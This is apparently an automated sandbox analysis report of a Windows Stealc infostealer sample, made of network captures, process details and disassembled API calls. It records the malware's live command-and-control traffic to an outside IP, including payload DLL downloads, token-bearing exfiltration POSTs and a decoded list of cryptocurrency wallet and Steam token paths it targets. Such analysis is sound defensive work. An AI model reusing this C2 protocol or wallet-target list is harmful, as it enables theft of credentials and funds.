Oct 8, 2024 22:32:12.500822067 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 8, 2024 22:32:12.809927940 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 22:32:13.039460897 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 8, 2024 22:32:13.725677967 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJK Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 22:32:14.528381109 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 22:32:14.598311901 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIE Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 2d 2d 0d 0a Data Ascii: ------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="message"wallets------DGCBKECAKFBGCAKECGIE--
Oct 8, 2024 22:32:14.830905914 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:14 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 8, 2024 22:32:14.948298931 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJ Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="message"files------IJJJEBFHDBGIECBFCBKJ--
Oct 8, 2024 22:32:15.179888010 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 22:32:15.193737030 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJ Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="file"------DBGHJEBKJEGHJKECAAKJ--
Oct 8, 2024 22:32:15.936837912 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 22:32:15.966233969 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAKFCGCGIEGDGCAAKKJ Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 4b 46 43 47 43 47 49 45 47 44 47 43 41 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 4b 46 43 47 43 47 49 45 47 44 47 43 41 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 4b 46 43 47 43 47 49 45 47 44 47 43 41 41 4b 4b 4a 2d 2d 0d 0a Data Ascii: ------FCAKFCGCGIEGDGCAAKKJContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------FCAKFCGCGIEGDGCAAKKJContent-Disposition: form-data; name="message"ybncbhylepme------FCAKFCGCGIEGDGCAAKKJ--
Oct 8, 2024 22:32:16.202095985 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:16 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 8, 2024 22:32:16.204557896 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFCGIIIJDBGCBGIDGI Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 2d 2d 0d 0a Data Ascii: ------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDBFCGIIIJDBGCBGIDGI--
Oct 8, 2024 22:32:16.949201107 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	16:31:55
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xff0000
File size:	1'902'080 bytes
MD5 hash:	F7B370ED882A5055E32F2EF666B25499
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2266687374.000000000085E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2040507876.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 01009860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00874888), ref: 010098A1
GetProcAddress.KERNEL32(75900000,00874750), ref: 010098BA
GetProcAddress.KERNEL32(75900000,008746D8), ref: 010098D2
GetProcAddress.KERNEL32(75900000,00874768), ref: 010098EA
GetProcAddress.KERNEL32(75900000,008746F0), ref: 01009903
GetProcAddress.KERNEL32(75900000,0087A600), ref: 0100991B
GetProcAddress.KERNEL32(75900000,00864E60), ref: 01009933
GetProcAddress.KERNEL32(75900000,00864DC0), ref: 0100994C
GetProcAddress.KERNEL32(75900000,00874720), ref: 01009964
GetProcAddress.KERNEL32(75900000,00874708), ref: 0100997C
GetProcAddress.KERNEL32(75900000,00874738), ref: 01009995
GetProcAddress.KERNEL32(75900000,008747C8), ref: 010099AD
GetProcAddress.KERNEL32(75900000,00865080), ref: 010099C5
GetProcAddress.KERNEL32(75900000,00874780), ref: 010099DE
GetProcAddress.KERNEL32(75900000,00874840), ref: 010099F6
GetProcAddress.KERNEL32(75900000,00864DE0), ref: 01009A0E
GetProcAddress.KERNEL32(75900000,00874858), ref: 01009A27
GetProcAddress.KERNEL32(75900000,0087AA70), ref: 01009A3F
GetProcAddress.KERNEL32(75900000,00864F00), ref: 01009A57
GetProcAddress.KERNEL32(75900000,0087A950), ref: 01009A70
GetProcAddress.KERNEL32(75900000,00864E80), ref: 01009A88
LoadLibraryA.KERNEL32(0087A9C8,?,01006A00), ref: 01009A9A
LoadLibraryA.KERNEL32(0087AAB8,?,01006A00), ref: 01009AAB
LoadLibraryA.KERNEL32(0087A9B0,?,01006A00), ref: 01009ABD
LoadLibraryA.KERNEL32(0087A998,?,01006A00), ref: 01009ACF
LoadLibraryA.KERNEL32(0087AA28,?,01006A00), ref: 01009AE0
GetProcAddress.KERNEL32(75070000,0087AA58), ref: 01009B02
GetProcAddress.KERNEL32(75FD0000,0087AAD0), ref: 01009B23
GetProcAddress.KERNEL32(75FD0000,0087A9E0), ref: 01009B3B
GetProcAddress.KERNEL32(75A50000,0087AAE8), ref: 01009B5D
GetProcAddress.KERNEL32(74E50000,00865000), ref: 01009B7E
GetProcAddress.KERNEL32(76E80000,0087A730), ref: 01009B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 01009BB6

Strings

NtQueryInformationProcess, xrefs: 01009BAA

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: a00ca2f16a9093ad1f57a9e651fef7133125f5630a4f54eb954ba15389ef39fa
Instruction ID: 2bb30d617bde625b0d3af5d1d31a851846d7c96aa739f9b16d6782413d5e9e8f
Opcode Fuzzy Hash: a00ca2f16a9093ad1f57a9e651fef7133125f5630a4f54eb954ba15389ef39fa
Instruction Fuzzy Hash: D9A15BB55052409FD36AEFA8F98CE6A3BF9F79C701704853AA68AC724CD7399841DF10

Function 00FF45C0 Relevance: 54.4, APIs: 1, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00FF479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4657
